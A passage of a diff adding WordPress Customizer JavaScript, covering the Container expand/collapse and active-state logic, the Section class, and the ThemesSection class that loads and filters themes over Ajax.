+			throw new Error( 'Container.isContextuallyActive() must be overridden in a subclass.' );
+		},
+
+		/**
+		 * Active state change handler.
+		 *
+		 * Shows the container if it is active, hides it if not.
+		 *
+		 * To override by subclass, update the container's UI to reflect the provided active state.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {boolean}  active - The active state to transiution to.
+		 * @param {Object}   [args] - Args.
+		 * @param {Object}   [args.duration] - The duration for the slideUp/slideDown animation.
+		 * @param {boolean}  [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
+		 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
+		 */
+		onChangeActive: function( active, args ) {
+			var construct = this,
+				headContainer = construct.headContainer,
+				duration, expandedOtherPanel;
+
+			if ( args.unchanged ) {
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+				return;
+			}
+
+			duration = ( 'resolved' === api.previewer.deferred.active.state() ? args.duration : 0 );
+
+			if ( construct.extended( api.Panel ) ) {
+				// If this is a panel is not currently expanded but another panel is expanded, do not animate.
+				api.panel.each(function ( panel ) {
+					if ( panel !== construct && panel.expanded() ) {
+						expandedOtherPanel = panel;
+						duration = 0;
+					}
+				});
+
+				// Collapse any expanded sections inside of this panel first before deactivating.
+				if ( ! active ) {
+					_.each( construct.sections(), function( section ) {
+						section.collapse( { duration: 0 } );
+					} );
+				}
+			}
+
+			if ( ! $.contains( document, headContainer.get( 0 ) ) ) {
+				// If the element is not in the DOM, then jQuery.fn.slideUp() does nothing. In this case, a hard toggle is required instead.
+				headContainer.toggle( active );
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+			} else if ( active ) {
+				headContainer.slideDown( duration, args.completeCallback );
+			} else {
+				if ( construct.expanded() ) {
+					construct.collapse({
+						duration: duration,
+						completeCallback: function() {
+							headContainer.slideUp( duration, args.completeCallback );
+						}
+					});
+				} else {
+					headContainer.slideUp( duration, args.completeCallback );
+				}
+			}
+		},
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @params {Boolean} active
+		 * @param {Object}   [params]
+		 * @returns {Boolean} false if state already applied
+		 */
+		_toggleActive: function ( active, params ) {
+			var self = this;
+			params = params || {};
+			if ( ( active && this.active.get() ) || ( ! active && ! this.active.get() ) ) {
+				params.unchanged = true;
+				self.onChangeActive( self.active.get(), params );
+				return false;
+			} else {
+				params.unchanged = false;
+				this.activeArgumentsQueue.push( params );
+				this.active.set( active );
+				return true;
+			}
+		},
+
+		/**
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already active
+		 */
+		activate: function ( params ) {
+			return this._toggleActive( true, params );
+		},
+
+		/**
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already inactive
+		 */
+		deactivate: function ( params ) {
+			return this._toggleActive( false, params );
+		},
+
+		/**
+		 * To override by subclass, update the container's UI to reflect the provided active state.
+		 * @abstract
+		 */
+		onChangeExpanded: function () {
+			throw new Error( 'Must override with subclass.' );
+		},
+
+		/**
+		 * Handle the toggle logic for expand/collapse.
+		 *
+		 * @param {Boolean}  expanded - The new state to apply.
+		 * @param {Object}   [params] - Object containing options for expand/collapse.
+		 * @param {Function} [params.completeCallback] - Function to call when expansion/collapse is complete.
+		 * @returns {Boolean} false if state already applied or active state is false
+		 */
+		_toggleExpanded: function( expanded, params ) {
+			var instance = this, previousCompleteCallback;
+			params = params || {};
+			previousCompleteCallback = params.completeCallback;
+
+			// Short-circuit expand() if the instance is not active.
+			if ( expanded && ! instance.active() ) {
+				return false;
+			}
+
+			api.state( 'paneVisible' ).set( true );
+			params.completeCallback = function() {
+				if ( previousCompleteCallback ) {
+					previousCompleteCallback.apply( instance, arguments );
+				}
+				if ( expanded ) {
+					instance.container.trigger( 'expanded' );
+				} else {
+					instance.container.trigger( 'collapsed' );
+				}
+			};
+			if ( ( expanded && instance.expanded.get() ) || ( ! expanded && ! instance.expanded.get() ) ) {
+				params.unchanged = true;
+				instance.onChangeExpanded( instance.expanded.get(), params );
+				return false;
+			} else {
+				params.unchanged = false;
+				instance.expandedArgumentsQueue.push( params );
+				instance.expanded.set( expanded );
+				return true;
+			}
+		},
+
+		/**
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already expanded or if inactive.
+		 */
+		expand: function ( params ) {
+			return this._toggleExpanded( true, params );
+		},
+
+		/**
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already collapsed.
+		 */
+		collapse: function ( params ) {
+			return this._toggleExpanded( false, params );
+		},
+
+		/**
+		 * Animate container state change if transitions are supported by the browser.
+		 *
+		 * @since 4.7.0
+		 * @private
+		 *
+		 * @param {function} completeCallback Function to be called after transition is completed.
+		 * @returns {void}
+		 */
+		_animateChangeExpanded: function( completeCallback ) {
+			// Return if CSS transitions are not supported.
+			if ( ! normalizedTransitionendEventName ) {
+				if ( completeCallback ) {
+					completeCallback();
+				}
+				return;
+			}
+
+			var construct = this,
+				content = construct.contentContainer,
+				overlay = content.closest( '.wp-full-overlay' ),
+				elements, transitionEndCallback, transitionParentPane;
+
+			// Determine set of elements that are affected by the animation.
+			elements = overlay.add( content );
+
+			if ( ! construct.panel || '' === construct.panel() ) {
+				transitionParentPane = true;
+			} else if ( api.panel( construct.panel() ).contentContainer.hasClass( 'skip-transition' ) ) {
+				transitionParentPane = true;
+			} else {
+				transitionParentPane = false;
+			}
+			if ( transitionParentPane ) {
+				elements = elements.add( '#customize-info, .customize-pane-parent' );
+			}
+
+			// Handle `transitionEnd` event.
+			transitionEndCallback = function( e ) {
+				if ( 2 !== e.eventPhase || ! $( e.target ).is( content ) ) {
+					return;
+				}
+				content.off( normalizedTransitionendEventName, transitionEndCallback );
+				elements.removeClass( 'busy' );
+				if ( completeCallback ) {
+					completeCallback();
+				}
+			};
+			content.on( normalizedTransitionendEventName, transitionEndCallback );
+			elements.addClass( 'busy' );
+
+			// Prevent screen flicker when pane has been scrolled before expanding.
+			_.defer( function() {
+				var container = content.closest( '.wp-full-overlay-sidebar-content' ),
+					currentScrollTop = container.scrollTop(),
+					previousScrollTop = content.data( 'previous-scrollTop' ) || 0,
+					expanded = construct.expanded();
+
+				if ( expanded && 0 < currentScrollTop ) {
+					content.css( 'top', currentScrollTop + 'px' );
+					content.data( 'previous-scrollTop', currentScrollTop );
+				} else if ( ! expanded && 0 < currentScrollTop + previousScrollTop ) {
+					content.css( 'top', previousScrollTop - currentScrollTop + 'px' );
+					container.scrollTop( previousScrollTop );
+				}
+			} );
+		},
+
+		/**
+		 * Bring the container into view and then expand this and bring it into view
+		 * @param {Object} [params]
+		 */
+		focus: focus,
+
+		/**
+		 * Return the container html, generated from its JS template, if it exists.
+		 *
+		 * @since 4.3.0
+		 */
+		getContainer: function () {
+			var template,
+				container = this;
+
+			if ( 0 !== $( '#tmpl-' + container.templateSelector ).length ) {
+				template = wp.template( container.templateSelector );
+			} else {
+				template = wp.template( 'customize-' + container.containerType + '-default' );
+			}
+			if ( template && container.container ) {
+				return $.trim( template( _.extend(
+					{ id: container.id },
+					container.params
+				) ) );
+			}
+
+			return '<li></li>';
+		},
+
+		/**
+		 * Find content element which is displayed when the section is expanded.
+		 *
+		 * After a construct is initialized, the return value will be available via the `contentContainer` property.
+		 * By default the element will be related it to the parent container with `aria-owns` and detached.
+		 * Custom panels and sections (such as the `NewMenuSection`) that do not have a sliding pane should
+		 * just return the content element without needing to add the `aria-owns` element or detach it from
+		 * the container. Such non-sliding pane custom sections also need to override the `onChangeExpanded`
+		 * method to handle animating the panel/section into and out of view.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @returns {jQuery} Detached content element.
+		 */
+		getContent: function() {
+			var construct = this,
+				container = construct.container,
+				content = container.find( '.accordion-section-content, .control-panel-content' ).first(),
+				contentId = 'sub-' + container.attr( 'id' ),
+				ownedElements = contentId,
+				alreadyOwnedElements = container.attr( 'aria-owns' );
+
+			if ( alreadyOwnedElements ) {
+				ownedElements = ownedElements + ' ' + alreadyOwnedElements;
+			}
+			container.attr( 'aria-owns', ownedElements );
+
+			return content.detach().attr( {
+				'id': contentId,
+				'class': 'customize-pane-child ' + content.attr( 'class' ) + ' ' + container.attr( 'class' )
+			} );
+		}
+	});
+
+	/**
+	 * @since 4.1.0
+	 *
+	 * @class
+	 * @augments wp.customize.Class
+	 */
+	api.Section = Container.extend({
+		containerType: 'section',
+		containerParent: '#customize-theme-controls',
+		containerPaneParent: '.customize-pane-parent',
+		defaults: {
+			title: '',
+			description: '',
+			priority: 100,
+			type: 'default',
+			content: null,
+			active: true,
+			instanceNumber: null,
+			panel: null,
+			customizeAction: ''
+		},
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {string}         id - The ID for the section.
+		 * @param {object}         options - Options.
+		 * @param {string}         options.title - Title shown when section is collapsed and expanded.
+		 * @param {string=}        [options.description] - Description shown at the top of the section.
+		 * @param {number=100}     [options.priority] - The sort priority for the section.
+		 * @param {string=default} [options.type] - The type of the section. See wp.customize.sectionConstructor.
+		 * @param {string=}        [options.content] - The markup to be used for the section container. If empty, a JS template is used.
+		 * @param {boolean=true}   [options.active] - Whether the section is active or not.
+		 * @param {string}         options.panel - The ID for the panel this section is associated with.
+		 * @param {string=}        [options.customizeAction] - Additional context information shown before the section title when expanded.
+		 * @param {object}         [options.params] - Deprecated wrapper for the above properties.
+		 */
+		initialize: function ( id, options ) {
+			var section = this, params;
+			params = options.params || options;
+
+			// Look up the type if one was not supplied.
+			if ( ! params.type ) {
+				_.find( api.sectionConstructor, function( Constructor, type ) {
+					if ( Constructor === section.constructor ) {
+						params.type = type;
+						return true;
+					}
+					return false;
+				} );
+			}
+
+			Container.prototype.initialize.call( section, id, params );
+
+			section.id = id;
+			section.panel = new api.Value();
+			section.panel.bind( function ( id ) {
+				$( section.headContainer ).toggleClass( 'control-subsection', !! id );
+			});
+			section.panel.set( section.params.panel || '' );
+			api.utils.bubbleChildValueChanges( section, [ 'panel' ] );
+
+			section.embed();
+			section.deferred.embedded.done( function () {
+				section.ready();
+			});
+		},
+
+		/**
+		 * Embed the container in the DOM when any parent panel is ready.
+		 *
+		 * @since 4.1.0
+		 */
+		embed: function () {
+			var inject,
+				section = this;
+
+			section.containerParent = api.ensure( section.containerParent );
+
+			// Watch for changes to the panel state.
+			inject = function ( panelId ) {
+				var parentContainer;
+				if ( panelId ) {
+					// The panel has been supplied, so wait until the panel object is registered.
+					api.panel( panelId, function ( panel ) {
+						// The panel has been registered, wait for it to become ready/initialized.
+						panel.deferred.embedded.done( function () {
+							parentContainer = panel.contentContainer;
+							if ( ! section.headContainer.parent().is( parentContainer ) ) {
+								parentContainer.append( section.headContainer );
+							}
+							if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
+								section.containerParent.append( section.contentContainer );
+							}
+							section.deferred.embedded.resolve();
+						});
+					} );
+				} else {
+					// There is no panel, so embed the section in the root of the customizer
+					parentContainer = api.ensure( section.containerPaneParent );
+					if ( ! section.headContainer.parent().is( parentContainer ) ) {
+						parentContainer.append( section.headContainer );
+					}
+					if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
+						section.containerParent.append( section.contentContainer );
+					}
+					section.deferred.embedded.resolve();
+				}
+			};
+			section.panel.bind( inject );
+			inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
+		},
+
+		/**
+		 * Add behaviors for the accordion section.
+		 *
+		 * @since 4.1.0
+		 */
+		attachEvents: function () {
+			var meta, content, section = this;
+
+			if ( section.container.hasClass( 'cannot-expand' ) ) {
+				return;
+			}
+
+			// Expand/Collapse accordion sections on click.
+			section.container.find( '.accordion-section-title, .customize-section-back' ).on( 'click keydown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+				event.preventDefault(); // Keep this AFTER the key filter above
+
+				if ( section.expanded() ) {
+					section.collapse();
+				} else {
+					section.expand();
+				}
+			});
+
+			// This is very similar to what is found for api.Panel.attachEvents().
+			section.container.find( '.customize-section-title .customize-help-toggle' ).on( 'click', function() {
+
+				meta = section.container.find( '.section-meta' );
+				if ( meta.hasClass( 'cannot-expand' ) ) {
+					return;
+				}
+				content = meta.find( '.customize-section-description:first' );
+				content.toggleClass( 'open' );
+				content.slideToggle( section.defaultExpandedArguments.duration, function() {
+					content.trigger( 'toggled' );
+				} );
+				$( this ).attr( 'aria-expanded', function( i, attr ) {
+					return 'true' === attr ? 'false' : 'true';
+				});
+			});
+		},
+
+		/**
+		 * Return whether this section has any active controls.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {Boolean}
+		 */
+		isContextuallyActive: function () {
+			var section = this,
+				controls = section.controls(),
+				activeCount = 0;
+			_( controls ).each( function ( control ) {
+				if ( control.active() ) {
+					activeCount += 1;
+				}
+			} );
+			return ( activeCount !== 0 );
+		},
+
+		/**
+		 * Get the controls that are associated with this section, sorted by their priority Value.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {Array}
+		 */
+		controls: function () {
+			return this._children( 'section', 'control' );
+		},
+
+		/**
+		 * Update UI to reflect expanded state.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean} expanded
+		 * @param {Object}  args
+		 */
+		onChangeExpanded: function ( expanded, args ) {
+			var section = this,
+				container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
+				content = section.contentContainer,
+				overlay = section.headContainer.closest( '.wp-full-overlay' ),
+				backBtn = content.find( '.customize-section-back' ),
+				sectionTitle = section.headContainer.find( '.accordion-section-title' ).first(),
+				expand, panel;
+
+			if ( expanded && ! content.hasClass( 'open' ) ) {
+
+				if ( args.unchanged ) {
+					expand = args.completeCallback;
+				} else {
+					expand = $.proxy( function() {
+						section._animateChangeExpanded( function() {
+							sectionTitle.attr( 'tabindex', '-1' );
+							backBtn.attr( 'tabindex', '0' );
+
+							backBtn.focus();
+							content.css( 'top', '' );
+							container.scrollTop( 0 );
+
+							if ( args.completeCallback ) {
+								args.completeCallback();
+							}
+						} );
+
+						content.addClass( 'open' );
+						overlay.addClass( 'section-open' );
+						api.state( 'expandedSection' ).set( section );
+					}, this );
+				}
+
+				if ( ! args.allowMultiple ) {
+					api.section.each( function ( otherSection ) {
+						if ( otherSection !== section ) {
+							otherSection.collapse( { duration: args.duration } );
+						}
+					});
+				}
+
+				if ( section.panel() ) {
+					api.panel( section.panel() ).expand({
+						duration: args.duration,
+						completeCallback: expand
+					});
+				} else {
+					if ( ! args.allowMultiple ) {
+						api.panel.each( function( panel ) {
+							panel.collapse();
+						});
+					}
+					expand();
+				}
+
+			} else if ( ! expanded && content.hasClass( 'open' ) ) {
+				if ( section.panel() ) {
+					panel = api.panel( section.panel() );
+					if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
+						panel.collapse();
+					}
+				}
+				section._animateChangeExpanded( function() {
+					backBtn.attr( 'tabindex', '-1' );
+					sectionTitle.attr( 'tabindex', '0' );
+
+					sectionTitle.focus();
+					content.css( 'top', '' );
+
+					if ( args.completeCallback ) {
+						args.completeCallback();
+					}
+				} );
+
+				content.removeClass( 'open' );
+				overlay.removeClass( 'section-open' );
+				if ( section === api.state( 'expandedSection' ).get() ) {
+					api.state( 'expandedSection' ).set( false );
+				}
+
+			} else {
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+			}
+		}
+	});
+
+	/**
+	 * wp.customize.ThemesSection
+	 *
+	 * Custom section for themes that loads themes by category, and also
+	 * handles the theme-details view rendering and navigation.
+	 *
+	 * @constructor
+	 * @augments wp.customize.Section
+	 * @augments wp.customize.Container
+	 */
+	api.ThemesSection = api.Section.extend({
+		currentTheme: '',
+		overlay: '',
+		template: '',
+		screenshotQueue: null,
+		$window: null,
+		$body: null,
+		loaded: 0,
+		loading: false,
+		fullyLoaded: false,
+		term: '',
+		tags: '',
+		nextTerm: '',
+		nextTags: '',
+		filtersHeight: 0,
+		headerContainer: null,
+		updateCountDebounced: null,
+
+		/**
+		 * Initialize.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {string} id - ID.
+		 * @param {object} options - Options.
+		 * @returns {void}
+		 */
+		initialize: function( id, options ) {
+			var section = this;
+			section.headerContainer = $();
+			section.$window = $( window );
+			section.$body = $( document.body );
+			api.Section.prototype.initialize.call( section, id, options );
+			section.updateCountDebounced = _.debounce( section.updateCount, 500 );
+		},
+
+		/**
+		 * Embed the section in the DOM when the themes panel is ready.
+		 *
+		 * Insert the section before the themes container. Assume that a themes section is within a panel, but not necessarily the themes panel.
+		 *
+		 * @since 4.9.0
+		 */
+		embed: function() {
+			var inject,
+				section = this;
+
+			// Watch for changes to the panel state
+			inject = function( panelId ) {
+				var parentContainer;
+				api.panel( panelId, function( panel ) {
+
+					// The panel has been registered, wait for it to become ready/initialized
+					panel.deferred.embedded.done( function() {
+						parentContainer = panel.contentContainer;
+						if ( ! section.headContainer.parent().is( parentContainer ) ) {
+							parentContainer.find( '.customize-themes-full-container-container' ).before( section.headContainer );
+						}
+						if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
+							section.containerParent.append( section.contentContainer );
+						}
+						section.deferred.embedded.resolve();
+					});
+				} );
+			};
+			section.panel.bind( inject );
+			inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one
+		},
+
+		/**
+		 * Set up.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @returns {void}
+		 */
+		ready: function() {
+			var section = this;
+			section.overlay = section.container.find( '.theme-overlay' );
+			section.template = wp.template( 'customize-themes-details-view' );
+
+			// Bind global keyboard events.
+			section.container.on( 'keydown', function( event ) {
+				if ( ! section.overlay.find( '.theme-wrap' ).is( ':visible' ) ) {
+					return;
+				}
+
+				// Pressing the right arrow key fires a theme:next event
+				if ( 39 === event.keyCode ) {
+					section.nextTheme();
+				}
+
+				// Pressing the left arrow key fires a theme:previous event
+				if ( 37 === event.keyCode ) {
+					section.previousTheme();
+				}
+
+				// Pressing the escape key fires a theme:collapse event
+				if ( 27 === event.keyCode ) {
+					if ( section.$body.hasClass( 'modal-open' ) ) {
+
+						// Escape from the details modal.
+						section.closeDetails();
+					} else {
+
+						// Escape from the inifinite scroll list.
+						section.headerContainer.find( '.customize-themes-section-title' ).focus();
+					}
+					event.stopPropagation(); // Prevent section from being collapsed.
+				}
+			});
+
+			section.renderScreenshots = _.throttle( section.renderScreenshots, 100 );
+
+			_.bindAll( section, 'renderScreenshots', 'loadMore', 'checkTerm', 'filtersChecked' );
+		},
+
+		/**
+		 * Override Section.isContextuallyActive method.
+		 *
+		 * Ignore the active states' of the contained theme controls, and just
+		 * use the section's own active state instead. This prevents empty search
+		 * results for theme sections from causing the section to become inactive.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @returns {Boolean}
+		 */
+		isContextuallyActive: function () {
+			return this.active();
+		},
+
+		/**
+		 * Attach events.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @returns {void}
+		 */
+		attachEvents: function () {
+			var section = this, debounced;
+
+			// Expand/Collapse accordion sections on click.
+			section.container.find( '.customize-section-back' ).on( 'click keydown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+				event.preventDefault(); // Keep this AFTER the key filter above
+				section.collapse();
+			});
+
+			section.headerContainer = $( '#accordion-section-' + section.id );
+
+			// Expand section/panel. Only collapse when opening another section.
+			section.headerContainer.on( 'click', '.customize-themes-section-title', function() {
+
+				// Toggle accordion filters under section headers.
+				if ( section.headerContainer.find( '.filter-details' ).length ) {
+					section.headerContainer.find( '.customize-themes-section-title' )
+						.toggleClass( 'details-open' )
+						.attr( 'aria-expanded', function( i, attr ) {
+							return 'true' === attr ? 'false' : 'true';
+						});
+					section.headerContainer.find( '.filter-details' ).slideToggle( 180 );
+				}
+
+				// Open the section.
+				if ( ! section.expanded() ) {
+					section.expand();
+				}
+			});
+
+			// Preview installed themes.
+			section.container.on( 'click', '.theme-actions .preview-theme', function() {
+				api.panel( 'themes' ).loadThemePreview( $( this ).data( 'slug' ) );
+			});
+
+			// Theme navigation in details view.
+			section.container.on( 'click', '.left', function() {
+				section.previousTheme();
+			});
+
+			section.container.on( 'click', '.right', function() {
+				section.nextTheme();
+			});
+
+			section.container.on( 'click', '.theme-backdrop, .close', function() {
+				section.closeDetails();
+			});
+
+			if ( 'local' === section.params.filter_type ) {
+
+				// Filter-search all theme objects loaded in the section.
+				section.container.on( 'input', '.wp-filter-search-themes', function( event ) {
+					section.filterSearch( event.currentTarget.value );
+				});
+
+			} else if ( 'remote' === section.params.filter_type ) {
+
+				// Event listeners for remote queries with user-entered terms.
+				// Search terms.
+				debounced = _.debounce( section.checkTerm, 500 ); // Wait until there is no input for 500 milliseconds to initiate a search.
+				section.contentContainer.on( 'input', '.wp-filter-search', function() {
+					if ( ! api.panel( 'themes' ).expanded() ) {
+						return;
+					}
+					debounced( section );
+					if ( ! section.expanded() ) {
+						section.expand();
+					}
+				});
+
+				// Feature filters.
+				section.contentContainer.on( 'click', '.filter-group input', function() {
+					section.filtersChecked();
+					section.checkTerm( section );
+				});
+			}
+
+			// Toggle feature filters.
+			section.contentContainer.on( 'click', '.feature-filter-toggle', function( e ) {
+				var $themeContainer = $( '.customize-themes-full-container' ),
+					$filterToggle = $( e.currentTarget );
+				section.filtersHeight = $filterToggle.parent().next( '.filter-drawer' ).height();
+
+				if ( 0 < $themeContainer.scrollTop() ) {
+					$themeContainer.animate( { scrollTop: 0 }, 400 );
+
+					if ( $filterToggle.hasClass( 'open' ) ) {
+						return;
+					}
+				}
+
+				$filterToggle
+					.toggleClass( 'open' )
+					.attr( 'aria-expanded', function( i, attr ) {
+						return 'true' === attr ? 'false' : 'true';
+					})
+					.parent().next( '.filter-drawer' ).slideToggle( 180, 'linear' );
+
+				if ( $filterToggle.hasClass( 'open' ) ) {
+					var marginOffset = 1018 < window.innerWidth ? 50 : 76;
+
+					section.contentContainer.find( '.themes' ).css( 'margin-top', section.filtersHeight + marginOffset );
+				} else {
+					section.contentContainer.find( '.themes' ).css( 'margin-top', 0 );
+				}
+			});
+
+			// Setup section cross-linking.
+			section.contentContainer.on( 'click', '.no-themes-local .search-dotorg-themes', function() {
+				api.section( 'wporg_themes' ).focus();
+			});
+
+			function updateSelectedState() {
+				var el = section.headerContainer.find( '.customize-themes-section-title' );
+				el.toggleClass( 'selected', section.expanded() );
+				el.attr( 'aria-expanded', section.expanded() ? 'true' : 'false' );
+				if ( ! section.expanded() ) {
+					el.removeClass( 'details-open' );
+				}
+			}
+			section.expanded.bind( updateSelectedState );
+			updateSelectedState();
+
+			// Move section controls to the themes area.
+			api.bind( 'ready', function () {
+				section.contentContainer = section.container.find( '.customize-themes-section' );
+				section.contentContainer.appendTo( $( '.customize-themes-full-container' ) );
+				section.container.add( section.headerContainer );
+			});
+		},
+
+		/**
+		 * Update UI to reflect expanded state
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param {Boolean}  expanded
+		 * @param {Object}   args
+		 * @param {Boolean}  args.unchanged
+		 * @param {Function} args.completeCallback
+		 * @returns {void}
+		 */
+		onChangeExpanded: function ( expanded, args ) {
+
+			// Note: there is a second argument 'args' passed
+			var section = this,
+				container = section.contentContainer.closest( '.customize-themes-full-container' );
+
+			// Immediately call the complete callback if there were no changes
+			if ( args.unchanged ) {
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+				return;
+			}
+
+			function expand() {
+
+				// Try to load controls if none are loaded yet.
+				if ( 0 === section.loaded ) {
+					section.loadThemes();
+				}
+
+				// Collapse any sibling sections/panels
+				api.section.each( function ( otherSection ) {
+					var searchTerm;
+
+					if ( otherSection !== section ) {
+
+						// Try to sync the current search term to the new section.
+						if ( 'themes' === otherSection.params.type ) {
+							searchTerm = otherSection.contentContainer.find( '.wp-filter-search' ).val();
+							section.contentContainer.find( '.wp-filter-search' ).val( searchTerm );
+
+							// Directly initialize an empty remote search to avoid a race condition.
+							if ( '' === searchTerm && '' !== section.term && 'local' !== section.params.filter_type ) {
+								section.term = '';
+								section.initializeNewQuery( section.term, section.tags );
+							} else {
+								if ( 'remote' === section.params.filter_type ) {
+									section.checkTerm( section );
+								} else if ( 'local' === section.params.filter_type ) {
+									section.filterSearch( searchTerm );
+								}
+							}
+							otherSection.collapse( { duration: args.duration } );
+						}
+					}
+				});
+
+				section.contentContainer.addClass( 'current-section' );
+				container.scrollTop();
+
+				container.on( 'scroll', _.throttle( section.renderScreenshots, 300 ) );
+				container.on( 'scroll', _.throttle( section.loadMore, 300 ) );
+
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+				section.updateCount(); // Show this section's count.
+			}
+
+			if ( expanded ) {
+				if ( section.panel() && api.panel.has( section.panel() ) ) {
+					api.panel( section.panel() ).expand({
+						duration: args.duration,
+						completeCallback: expand
+					});
+				} else {
+					expand();
+				}
+			} else {
+				section.contentContainer.removeClass( 'current-section' );
+
+				// Always hide, even if they don't exist or are already hidden.
+				section.headerContainer.find( '.filter-details' ).slideUp( 180 );
+
+				container.off( 'scroll' );
+
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+			}
+		},
+
+		/**
+		 * Return the section's content element without detaching from the parent.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {jQuery}
+		 */
+		getContent: function() {
+			return this.container.find( '.control-section-content' );
+		},
+
+		/**
+		 * Load theme data via Ajax and add themes to the section as controls.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {void}
+		 */
+		loadThemes: function() {
+			var section = this, params, page, request;
+
+			if ( section.loading ) {
+				return; // We're already loading a batch of themes.
+			}
+
+			// Parameters for every API query. Additional params are set in PHP.
+			page = Math.ceil( section.loaded / 100 ) + 1;
+			params = {
+				'nonce': api.settings.nonce.switch_themes,
+				'wp_customize': 'on',
+				'theme_action': section.params.action,
+				'customized_theme': api.settings.theme.stylesheet,
+				'page': page
+			};
+
+			// Add fields for remote filtering.
+			if ( 'remote' === section.params.filter_type ) {
+				params.search = section.term;
+				params.tags = section.tags;
+			}
+
+			// Load themes.
+			section.headContainer.closest( '.wp-full-overlay' ).addClass( 'loading' );
+			section.loading = true;
+			section.container.find( '.no-themes' ).hide();
+			request = wp.ajax.post( 'customize_load_themes', params );
+			request.done(function( data ) {
+				var themes = data.themes;
+
+				// Stop and try again if the term changed while loading.
+				if ( '' !== section.nextTerm || '' !== section.nextTags ) {
+					if ( section.nextTerm ) {
+						section.term = section.nextTerm;
+					}
+					if ( section.nextTags ) {
+						section.tags = section.nextTags;
+					}
+					section.nextTerm = '';
+					section.nextTags = '';
+					section.loading = false;
+					section.loadThemes();
+					return;
+				}
+
+				if ( 0 !== themes.length ) {
+
+					section.loadControls( themes, page );
+
+					if ( 1 === page ) {
+
+						// Pre-load the first 3 theme screenshots.
+						_.each( section.controls().slice( 0, 3 ), function( control ) {
+							var img, src = control.params.theme.screenshot[0];
+							if ( src ) {
+								img = new Image();
+								img.src = src;
+							}
+						});
+						if ( 'local' !== section.params.filter_type ) {
+							wp.a11y.speak( api.settings.l10n.themeSearchResults.replace( '%d', data.info.results ) );
+						}
+					}
+
+					_.delay( section.renderScreenshots, 100 ); // Wait for the controls to become visible.
+
+					if ( 'local' === section.params.filter_type || 100 > themes.length ) { // If we have less than the requested 100 themes, it's the end of the list.
+						section.fullyLoaded = true;
+					}
+				} else {
+					if ( 0 === section.loaded ) {
+						section.container.find( '.no-themes' ).show();
+						wp.a11y.speak( section.container.find( '.no-themes' ).text() );
+					} else {
+						section.fullyLoaded = true;
+					}
+				}
+				if ( 'local' === section.params.filter_type ) {
+					section.updateCount(); // Count of visible theme controls.
+				} else {
+					section.updateCount( data.info.results ); // Total number of results including pages not yet loaded.
+				}
+				section.container.find( '.unexpected-error' ).hide(); // Hide error notice in case it was previously shown.
+
+				// This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
+				section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
+				section.loading = false;
+			});
+			request.fail(function( data ) {
+				if ( 'undefined' === typeof data ) {
+					section.container.find( '.unexpected-error' ).show();
+					wp.a11y.speak( section.container.find( '.unexpected-error' ).text() );
+				} else if ( 'undefined' !== typeof console && console.error ) {
+					console.error( data );
+				}
+
+				// This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
+				section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
+				section.loading = false;
+			});
+		},
+
+		/**
+		 * Loads controls into the section from data received from loadThemes().
+		 *
+		 * @since 4.9.0
+		 * @param {Array} themes - Array of theme data to create controls with.
+		 * @param {integer} page - Page of results being loaded.
+		 * @returns {void}
+		 */
+		loadControls: function( themes, page ) {
+			var newThemeControls = [],
+				section = this;
+
+			// Add controls for each theme.
+			_.each( themes, function( theme ) {
+				var themeControl = new api.controlConstructor.theme( section.params.action + '_theme_' + theme.id, {
+					type: 'theme',
+					section: section.params.id,
+					theme: theme,
+					priority: section.loaded + 1
+				} );
+
+				api.control.add( themeControl );
+				newThemeControls.push( themeControl );
+				section.loaded = section.loaded + 1;
+			});
+
+			if ( 1 !== page ) {
+				Array.prototype.push.apply( section.screenshotQueue, newThemeControls ); // Add new themes to the screenshot queue.
+			}
+		},
+
+		/**
+		 * Determines whether more themes should be loaded, and loads them.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		loadMore: function() {
+			var section = this, container, bottom, threshold;
+			if ( ! section.fullyLoaded && ! section.loading ) {
+				container = section.container.closest( '.customize-themes-full-container' );
+
+				bottom = container.scrollTop() + container.height();
+				threshold = container.prop( 'scrollHeight' ) - 3000; // Use a fixed distance to the bottom of loaded results to avoid unnecessarily loading results sooner when using a percentage of scroll distance.
+
+				if ( bottom > threshold ) {
+					section.loadThemes();
+				}
+			}
+		},
+
+		/**
+		 * Event handler for search input that filters visible controls.
+		 *
+		 * @since 4.9.0
+		 *
